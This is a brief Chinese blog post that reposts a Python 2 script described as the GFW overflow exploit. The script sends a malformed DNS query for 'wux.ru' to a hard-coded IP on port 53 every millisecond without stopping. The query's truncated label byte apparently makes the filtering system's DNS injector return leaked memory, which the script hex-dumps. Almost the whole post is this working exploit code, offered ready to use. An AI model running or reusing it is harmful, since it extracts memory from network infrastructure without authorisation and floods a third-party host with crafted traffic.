重新贴一下GFW溢出的Python代码
复制内容到剪贴板
代码:
import socket
import binascii
import time
import threading
class DataReceiver:
def __init__(self, s):
self.s = s
def __call__(self):
while True:
r = s.recvfrom(65535)[0]
i = 0
while i < len(r):
print '%04x:' % i,
p = list(r[i : i + 16])
for j in range(0, len(p)):
print binascii.b2a_hex(p[j]),
if p[j] < ' ' or p[j] > '~':
p[j] = '.'
print ' ' * ((15 - j) * 3),
print "".join(p)
i += 16
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
threading.Thread(target = DataReceiver(s)).start()
while True:
s.sendto("\0\0\1\0\0\1\0\0\0\0\0\0\6wux.ru\377", ("98.137.149.56", 53))
time.sleep(0.001)
没有评论:
发表评论